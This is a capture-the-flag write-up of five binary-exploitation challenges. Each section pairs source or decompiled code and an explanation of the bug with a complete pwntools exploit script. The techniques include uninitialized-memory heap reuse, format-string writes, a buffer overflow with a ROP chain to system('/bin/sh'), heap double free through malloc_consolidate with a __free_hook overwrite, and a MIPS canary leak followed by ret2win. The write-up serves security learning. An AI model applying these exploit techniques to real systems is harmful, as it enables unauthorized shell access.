Minecraft Youtuber
Challenge Information
Solution
Souce code
#include <stdlib.h>#include <stdio.h>#include <time.h>#include <unistd.h>
__attribute__((constructor)) void flush_buf() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);}
typedef struct { long uid; char username[8]; long keycard;} user_t;
typedef struct { long mfg_date; char first[8]; char last[8];} nametag_t;
long UID = 0x1;char filename[] = "flag.txt";user_t* curr_user = NULL;nametag_t* curr_nametag = NULL;
void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}
void register_user() { printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n"); curr_user = (user_t*)malloc(sizeof(user_t)); // 0x18 bytes curr_user->uid = UID++; printf("Please go ahead an type your username now: \n"); read(0, curr_user->username, 8);}
void log_out() { free(curr_user); curr_user = NULL;
if (curr_nametag != NULL) { free(curr_nametag); curr_nametag = NULL; }}
int print_menu() { int choice; printf("What would you like to do now?\n"); printf("1. Register a new user\n"); printf("2. Learn about the Time Keepers\n"); printf("3. Collect gear\n"); printf("4. Elevate to super user\n"); printf("5. Change characters\n"); printf("6. Leave\n"); // 7 is try to free loki but it's not technically an option, you have to be rebellious to get there scanf("%d", &choice); if (choice < 1 || choice > 7) { printf("Invalid choice. You broke the simulation\n"); return 0; } return choice;}
int main(void) { init(); srand(time(NULL)); int gear; printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");
int input = 1; while (input) { switch (input) { case 1: // register a new user register_user(); break; case 2: printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n"); break; case 3: // collect gear if (curr_user == NULL) { printf("You must register a user first!\n"); break; } gear = rand() % 5 + 1; if (curr_nametag != NULL) { free(curr_nametag); } switch (gear) { case 1: printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n"); break; case 2: printf("You have received a Name Tag! Please input your first and last name:\n"); curr_nametag = (nametag_t*)malloc(sizeof(nametag_t)); curr_nametag->mfg_date = (long)time(NULL); read(0, curr_nametag->first, 8); read(0, curr_nametag->last, 8); break; case 3: printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n"); break; case 4: printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n"); break; case 5: printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n"); break; } break; case 4: if (curr_user == NULL) { printf("You must register a user first!\n"); break; } if (curr_user->uid >= 0x600000) { printf("Well, everything here checks out! Go ahead and take this key card!\n"); curr_user->keycard = 0x1337; } else { printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n"); } break; case 5: if (curr_user == NULL) { printf("You must register a user first!\n"); break; } log_out(); printf("You have been logged out.\n"); printf(". "); sleep(1); printf(". "); sleep(1); printf(". \n"); sleep(1); register_user(); break; case 6: input = 0; break; case 7: if (curr_user == NULL) { printf("You must register a user first!\n"); break; }
// Uninitialized memory read if (curr_user->keycard == 0x1337) { printf("You have freed Loki! In gratitude, he offers you a flag!\n"); FILE* flag = fopen(filename, "r"); if (flag == NULL) { printf("Flag file not found. Please contact an admin.\n"); return EXIT_FAILURE; } else { char ch; while ((ch = fgetc(flag)) != EOF) { printf("%c", ch); } } fclose(flag); exit(0); break; } else { printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n"); printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n"); log_out(); input = 0; break; } }
if (input != 0) { input = print_menu(); } } return input;}
Look at the code above, it pretty long. But we just need to focus on case 7
where we can get the flag if we have the keycard. And there is the bug Uninitialized data use
in the code. We can fengshui
the heap to get the flag. What I do is just let the program run until it shows us Tag
, then create a new nametage which curr_nametag->last
is contain the value 0x1337
0x555555559290 0x0000000000000000 0x0000000000000021 ........!.......0x5555555592a0 0x0000000000000001 0x000000000a6e776b ........kwn.....0x5555555592b0 0x0000000000000000 0x0000000000000021 ........!.......0x5555555592c0 0x000000006833e68f 0x000000000a6e776b ..3h....kwn.....0x5555555592d0 0x0000000000001337 0x0000000000020d31 7.......1....... <-- Top chunk
You can see that value 0x1337
is in the top chunk, and when you free it it will be there, because malloc just free the chunk 0x20
(include metadata). Then just register_user
and get the flag
36 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./minecraft', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batabrva 0x171Cbrva 0x1462brva 0x1739brva 0x147Cbrva 0x18B0brva 0x171Cc'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2]) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, aslr=False)
# ==================== EXPLOIT ====================p = start()
ru(b"username now: \n")sl(b"kwn")
line = b""while b"Tag" not in line: ru(b"Leave\n") sl(b"3") line = p.recvline()
if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause()
sl(b'kwn')sl(p64(0x1337))
sl(b'5')sla(b'now: \n', b'kwn')
ru(b"Leave\n")sl(b"7")
interactive()
GOAT
Challenge Information
Solution
There many things here but I think we just need to focus on the challenge binary
int __fastcall main(int argc, const char **argv, const char **envp){ _QWORD v4[2]; // [rsp+0h] [rbp-C0h] BYREF char s1[64]; // [rsp+10h] [rbp-B0h] BYREF char s[104]; // [rsp+50h] [rbp-70h] BYREF unsigned __int64 v7; // [rsp+B8h] [rbp-8h]
v7 = __readfsqword(0x28u); v4[0] = 1413566279LL; v4[1] = 0LL; snprintf( s, 0x5FuLL, "Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ", (const char *)v4, (const char *)v4); printf(s); fgets(s1, 32, stdin); snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1); printf(s); fgets(s1, 16, stdin); if ( !strncmp(s1, "no", 2uLL) ) { puts("\n?? Why would you lie to me about something so stupid?"); } else { snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4); puts(s1); } return 0;}
There is a Format String Bug
here, so we can use that to get the shell. But the program will exit after that, so we need to make a infinite loop to keep the program running. After that leak the address and write our ROP chain to saved RIP using Format String Bug
.
72 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleepimport re
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./goat_patched', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-bata# b *0x401278b *0x4012B0# b *0x40129Fc'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2]) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv)
def solve_pow(): banner = ru(b"solution: ") log.debug(f"POW banner:\n{banner!r}")
m = re.search(b"sh -s (s\\.[^\\s]+)", banner) if not m: raise ValueError("Fail") salt = m.group(1).decode() log.info(f"{salt}")
cmd = f"curl -sSfL https://pwn.red/pow | sh -s {salt}" solution = check_output(["bash", "-lc", cmd]).strip() log.info(f"{solution!r}")
sl(solution)
def fmt_w(addr, saved_rip): target1 = addr & 0xffff payload = f"%{target1-0x18}c%10$hn".encode() payload = payload.ljust(0x10, b"a") payload += p64(saved_rip) sl(payload) sl("A")
target2 = (addr >> 16) & 0xffff payload = f"%{target2-0x18}c%10$hn".encode() payload = payload.ljust(0x10) payload += p64(saved_rip+2) sl(payload) sl("A")
target3 = addr >> 32 payload = f"%{target3-0x18}c%10$hn".encode() payload = payload.ljust(0x10, b"a") payload += p64(saved_rip+4) sl(payload) sl("A")
# ==================== EXPLOIT ====================p = start()
solve_pow()
if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause()
payload = f"%{0x11f0-0x18}c%11$hn".encode() + b"|%31$p" + b"|%30$p"payload = payload.ljust(0x18, b"a")payload += p64(exe.got.puts)sl(payload)ru(b"|")address = rl()[:-1].split(b"|")print(address)libc.address = int(address[0], 16) - 0x2A1CAstack = int(address[1][:14], 16)saved_rip = stack - 0x98
success('libc base @ %#x', libc.address)success('stack leak @ %#x', stack)success('saved rip @ %#x', saved_rip)
rop = ROP(libc)pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]ret = pop_rdi + 1binsh = next(libc.search(b"/bin/sh\x00"))
fmt_w(pop_rdi, saved_rip)fmt_w(binsh, saved_rip+8)fmt_w(ret, saved_rip+16)fmt_w(libc.sym.system, saved_rip + 24)
payload = f"%{0x133c-0x18}c%10$hn".encode()payload = payload.ljust(0x10)payload += p64(exe.got.puts)sl(payload)sl("A")
interactive()
Game of Yap
Challenge Information
Solution
The binary have Buffer Overflow bug and we can use that to call the function that give us a binary address. After that use 0x1243: mov rdi, rsi ; ret ;
to control the first argument of printf which can able us to perform some Format String
attack
31 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
# context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./game-of-yap_patched', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batabrva 0x0123Ac'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2]) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv)
# ==================== EXPLOIT ====================p = start()
offset = 0x108
payload = b'A'*(offset) + p8(0x80)
sleep(0.5)sa(b'chance...\n',payload)exe.address = hexleak(rl()[:-1]) - 0x1210
success(b'pie base @ %#x', exe.address)
if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause()
mov_rdi_rsi = exe.address + 0x1243
payload = b'%27$p'.ljust(offset, b'\0') + p64(mov_rdi_rsi) + p64(exe.plt.printf) + p64(exe.sym.play)sleep(0.5)sa(b'try...\n', payload)
libc.address = hexleak(rb(16)) - 0x2a28bsuccess('libc base @ %#x', libc.address)
rop = ROP(libc)pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]ret = pop_rdi + 1
payload = b'A'*offset + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))+ p64(libc.sym.system)
sleep(0.5)s(payload)
interactive()
TCL
Challenge Information
Solution
This challenge was 1 solved during CTF. And I couldn’t solve it during that time, but luckily, my friend was the one who did first blood on this challenge, and after the CTF he told me there was a way without using Race Conditions. Shout out to @Lieu
Souce code
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdbool.h>#include <ctype.h>#include <pthread.h>#include <unistd.h>
enum { TYPE_FLOAT = 0, TYPE_INT, TYPE_STRING, TYPE_BOOL,};
struct str_object { char *value; unsigned int type; unsigned int refcount;};
struct int_object { unsigned long value; unsigned int type; unsigned int refcount;};
struct float_object { double value; unsigned int type; unsigned int refcount;};
struct bool_object { unsigned long value; unsigned int type; unsigned int refcount;};
void* objects[100];
__attribute__((constructor)) void flush_buf() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);}
void win() { system("/bin/sh"); exit(0);}
int create_string_obj(char *value) { struct str_object* obj = (struct str_object*)objects[0]; unsigned int i = 0;
// if the object already exists, just increase the refcount while (obj != NULL) { if ((obj->type == TYPE_STRING) && (strcmp(obj->value, value) == 0)) { printf("Added refcount to %s\n", obj->value); obj->refcount++; return 0; } if (i >= 99) { puts("object array is full"); return -1; } i++; obj = (struct str_object*)objects[i]; }
// otherwise, create a new object obj = (struct str_object*)malloc(sizeof(struct str_object)); if (obj == NULL) { puts("malloc failed"); exit(1); } obj->value = strdup(value); if (obj->value == NULL) { puts("strdup failed"); exit(1); } obj->type = TYPE_STRING; obj->refcount = 1; objects[i] = obj; return 0;}
int create_int_obj(unsigned long value) { struct int_object* obj = (struct int_object*)objects[0]; unsigned int i = 0;
// if the object already exists, just increase the refcount while (obj != NULL) { if ((obj->type == TYPE_INT) && (obj->value == value)) { printf("Added refcount to %lu\n", obj->value); obj->refcount++; return 0; } if (i >= 99) { puts("object array is full"); return -1; } i++; obj = (struct int_object*)objects[i]; }
// otherwise, create a new object obj = (struct int_object*)malloc(sizeof(struct int_object)); if (obj == NULL) { puts("malloc failed"); exit(1); } obj->value = value; obj->type = TYPE_INT; obj->refcount = 1; objects[i] = obj; return 0;}
int create_float_obj(double value) { struct float_object* obj = (struct float_object*)objects[0]; unsigned int i = 0;
// if the object already exists, just increase the refcount while (obj != NULL) { if ((obj->type == TYPE_FLOAT) && (obj->value == value)) { printf("Added refcount to %lf\n", obj->value); obj->refcount++; return 0; } if (i >= 99) { puts("object array is full"); return -1; } i++; obj = (struct float_object*)objects[i]; }
// otherwise, create a new object obj = (struct float_object*)malloc(sizeof(struct float_object)); if (obj == NULL) { puts("malloc failed"); exit(1); } obj->value = value; obj->type = TYPE_FLOAT; obj->refcount = 1; objects[i] = obj; return 0;}
int create_bool_obj(unsigned long value) { struct bool_object* obj = (struct bool_object*)objects[0]; unsigned int i = 0;
// if the object already exists, just increase the refcount while (obj != NULL) { if ((obj->type == TYPE_BOOL) && (obj->value == value)) { printf("Added refcount to %lu\n", obj->value); obj->refcount++; return 0; } if (i >= 99) { puts("object array is full"); return -1; } i++; obj = (struct bool_object*)objects[i]; }
// otherwise, create a new object obj = (struct bool_object*)malloc(sizeof(struct bool_object)); if (obj == NULL) { puts("malloc failed"); exit(1); } obj->value = value; obj->type = TYPE_BOOL; obj->refcount = 1; objects[i] = obj; return 0;}
void clear_objects() { for (unsigned int i = 0; i < 100; i++) { if (objects[i] != NULL) { // set refcount to 0 for the garbage collector to free struct str_object* obj = (struct str_object*)objects[i]; obj->refcount = 0; } }}
void parse_tcl() { char buf[0x100]; bool valid = true; bool started = false;
while (1) { // clear the buffer memset(buf, 0, sizeof(buf));
// we use fgets because it breaks on \n, which means the config line is done fgets(buf, sizeof(buf), stdin);
// remove the newline character size_t len = strlen(buf); if (len > 0 && buf[len - 1] == '\n') { buf[len - 1] = '\0'; } // check for empty line if (strlen(buf) == 0) { continue; }
if (started == false) { // check for the start of the config if (strcmp(buf, "#START") != 0) { puts("You need to start with #START"); continue; } started = true; continue; }
if (strcmp(buf, "#END") == 0) { break; }
// check for ' = ' char * delim = strstr(buf, " = "); if (delim == NULL) { puts("Invalid line, no ' = ' found"); valid = false; continue; } *delim = '\0'; // replace ' = ' with '\0' to split the string delim += 3; // move past the ' = ' // at this point, buf contains the key name and delim points to the value
// ensure first character is not a digit if (isdigit(buf[0])) { puts("Key name cannot start with a digit"); valid = false; continue; }
// check character set in keyname for (char *p = buf; *p != '\0'; p++) { if (!isalnum(*p) && *p != '_') { puts("Key name can only contain alphanumeric characters and underscores"); valid = false; continue; } }
// create an object to store key name if (create_string_obj(buf) != 0) { puts("create_string_obj failed"); valid = false; continue; }
// CHECK THE VALUE NOW
// inspecting the first character of the value will tell us what type it is if (isdigit(delim[0])) { // it's an int or float char *endptr; unsigned long value = strtoul(delim, &endptr, 10); if (*endptr == '.') { // it's a float double fvalue = strtod(delim, NULL); if (create_float_obj(fvalue) != 0) { puts("create_float_obj failed"); valid = false; continue; } } else { // it's an int if (create_int_obj(value) != 0) { puts("create_int_obj failed"); valid = false; continue; } } }
else if (delim[0] == 't' || delim[0] == 'f') { if (strcmp(delim, "true") != 0 && strcmp(delim, "false") != 0) { puts("Invalid boolean value"); valid = false; continue; }
// it's a bool unsigned long value = (delim[0] == 't') ? 1 : 0; if (create_bool_obj(value) != 0) { puts("create_bool_obj failed"); valid = false; continue; } }
else if (delim[0] == '"') { // it's a string delim++; // move past the opening quote char *end = strchr(delim, '"'); if (end == NULL) { puts("Invalid string value, no closing quote found"); valid = false; continue; } *end = '\0'; // replace closing quote with null terminator if (create_string_obj(delim) != 0) { puts("create_string_obj failed"); valid = false; continue; } }
else { // invalid value type puts("Invalid value type"); valid = false; continue; } }
// check if the config is valid if (valid) { puts("Config is valid"); } else { puts("Config is invalid"); }
// set the refcount of all objects to 0 clear_objects();}
void gc() { unsigned int indexes[100]; unsigned int count = 0;
while (1) { memset(indexes, 0, sizeof(indexes)); count = 0; sleep(5);
// store the indexes of all objects with refcount 0 for (unsigned int i = 0; i < 100; i++) { if (objects[i] != NULL) { struct str_object* obj = (struct str_object*)objects[i]; if (obj->refcount == 0) { indexes[count++] = i; } } }
// free them for (unsigned int i = 0; i < count; i++) { struct str_object* obj = (struct str_object*)objects[indexes[i]]; if (obj != NULL) { if (obj->type == TYPE_STRING) free(obj->value); free(obj); // Use-After-Free usleep(5 * 1000); // sleep for 5 milliseconds - we don't want to hog the CPU! } }
// set the object pointer to NULL for (unsigned int i = 0; i < count; i++) { struct str_object* obj = (struct str_object*)objects[indexes[i]]; // double check refcount is 0 before setting to NULL if (obj != NULL && obj->refcount == 0) { objects[indexes[i]] = NULL; } } }}
int main() { alarm(60); // set a timeout for the program printf("%p\n", &alarm);
// spawn garbage collector pthread_t tid; pthread_create(&tid, NULL, (void*)gc, NULL);
while (1) { puts("Enter your TCL file contents below:"); puts("========================================="); parse_tcl(); }
return 0;}
The code is quite long but we will pay attention to some key points as follows:
- There is
Use-After-Free
in thegc
function, this function will run every5s
and it will free any objects that haverefcount == 0
- In the
create_string_obj
function,strdup
will let us customize the size of a malloc chunk through the length of the string
With the idea of triggering malloc_consolidate()
to move the chunks in fastbin to unsortedbin, from a singly linked list to a doubly linked list, we will be able to cause Double Free. Below is a demo program for that
// gcc -o test test.c -g -no-pie#include <stdio.h>#include <stdlib.h>
void main(){ void *a[10], *b[10];
for (int i = 0; i < 2; i++) a[i] = malloc(0x18);
for (int i = 2; i < 10; i++) { a[i] = malloc(0x18); b[i] = malloc(0x88); }
for (int i = 0; i < 2; i++) free(a[i]);
for (int i = 2; i < 10; i++) { free(b[i]); free(a[i]); }}
And once we free all the chunk we have, check bins
again and we can see some speical things
pwndbg> binstcachebins0x20 [ 7]: 0x4055a0 —▸ 0x4054f0 —▸ 0x405440 —▸ 0x405390 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 00x90 [ 7]: 0x405720 —▸ 0x405670 —▸ 0x4055c0 —▸ 0x405510 —▸ 0x405460 —▸ 0x4053b0 —▸ 0x405300 ◂— 0fastbins0x20: 0x4057a0 ◂— 0unsortedbinall: 0x405640 —▸ 0x4056f0 —▸ 0x7ffff7f9cce0 (main_arena+96) ◂— 0x405640 /* '@V@' */smallbinsemptylargebinsempty
This is done by this code. When the 0x80
chunk consolidates with the top chunk, it continues to check that chunk for the new size with FASTBIN_CONSOLIDATION_THRESHOLD
and to make sure that this chunk size is larger, malloc_consolidate()
will be called. With that in mind, here is my exploit.
41 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./tcl_patched', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-bataset resolve-heap-via-heuristic forceset follow-fork-mode parentb *0x40174Fb *0x4018ACb *0x400EFAb *0x400DB3b *0x400D86c'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2]) elif args.DOCKER: p = remote("0", 5004) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, aslr=False)
def debug(): gdb.attach(p, gdbscript=gdbscript) pause()
# ==================== EXPLOIT ====================p = start()
libc.address = hexleak(rl()[:-1]) - libc.sym.alarmsuccess('libc base @ %#x', libc.address)
ru(b'=========================================\n')
sl(b'#START')for i in range(8): chunk = str(i).encode() * 0x87 sl(b'A = "' + chunk + b'"')sl(b'#END')
sleep(6)
sl(b'#START')payload = b"B" * 0x27 + b' = "' + b'8' + b'"'sl(payload)sl(b"#END")
sleep(6)
48 collapsed lines
'''0x4f297 execve("/bin/sh", rsp+0x40, environ)+----------+-----------------------------------------+| Result | Constraint |+==========+=========================================+| SAT | address rsp+0x50 is writable |+----------+-----------------------------------------+| SAT | rsp & 0xf == 0 |+----------+-----------------------------------------+| UNKNOWN | {"sh", "-c", r12, NULL} is a valid argv |+----------+-----------------------------------------+
0x4f29e execve("/bin/sh", rsp+0x40, environ)+----------+-------------------------------------------------------+| Result | Constraint |+==========+=======================================================+| SAT | address rsp+0x50 is writable |+----------+-------------------------------------------------------+| SAT | rsp & 0xf == 0 |+----------+-------------------------------------------------------+| SAT | rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv |+----------+-------------------------------------------------------+
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)+----------+------------------------------------------------------+| Result | Constraint |+==========+======================================================+| SAT | address rsp+0x50 is writable |+----------+------------------------------------------------------+| SAT | rsp & 0xf == 0 |+----------+------------------------------------------------------+| SAT | rcx == NULL || {rcx, rax, r12, NULL} is a valid argv |+----------+------------------------------------------------------+
0x4f302 execve("/bin/sh", rsp+0x40, environ)+----------+---------------------------------------------------------------------------------------------+| Result | Constraint |+==========+=============================================================================================+| UNKNOWN | [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv |+----------+---------------------------------------------------------------------------------------------+
0x10a2fc execve("/bin/sh", rsp+0x70, environ)+----------+---------------------------------------------------------------------------------------------+| Result | Constraint |+==========+=============================================================================================+| SAT | [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv |+----------+---------------------------------------------------------------------------------------------+'''
sl(b'#START')payload = b"C" * 0x27 + b' = "' + p64(libc.sym.__free_hook-8)[:6] + b'"'sl(payload)
payload = b"C" * 0x27 + b' = "' + b"Y" * 0x27 + b'"'sl(payload)
payload = b"C" * 0x27 + b' = "' + b"A" * 8 + p64(libc.address + 0x10a2fc)[:6] + b'"'sl(payload)sl(b"#END")sleep(6)
interactive()
MIPS
Challenge Information
Solution
This challenge is not too hard, but this is the first time I have to deal with MIPS architecture, so I have to learn a bit about it. First we need to setup the environment for it. Following these step:
- Build the docker image to get
libc
andld
- Create a
rootfs
folder to store thelibc
andld
files - Execute the binary using:
qemu-mipsel -L rootfs ./mips
If you want to debug with gdb
you can use qemu-mipsel -L rootfs -g 1234 ./mips
and then connect to it with gdb-multiarch
using target remote localhost:1234
.
And the idea to pwn this challenge is leak the canary, and ret2win. In mips architecture, the canary value address is stored in __stack_chk_fail
function, that’s the idea to leak the canary value. After that, we can use ret2win
to call the win
function.
19 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
# context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./mips_patched', checksec=False)libc = exe.libc
def start(argv=[]): if args.GDB: return process(["qemu-mipsel","-g","5000", "-L", "./rootfs", exe.path]) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2]) else: return process(["qemu-mipsel", "-L", "./rootfs", exe.path])
# ==================== EXPLOIT ====================p = start()
win = 0x0400964__stack_chk_guard = 0x0420060
# Leak canary addresssla(b'> ', b'1')sla(b'read from: ', str(hex(__stack_chk_guard)).encode())canary_address = int(rl()[:-1], 16)success('canary address @ %#x', canary_address)
# Leak canary valuesla(b'> ', b'1')sla(b'read from: ', str(hex(canary_address)).encode())canary = int(rl()[:-1], 16)success('canary @ %#x', canary)
sla(b'> ', b'2')sla(b'name:\n', b'A'*0x10 + p32(canary) + p32(0) + p32(win))
interactive()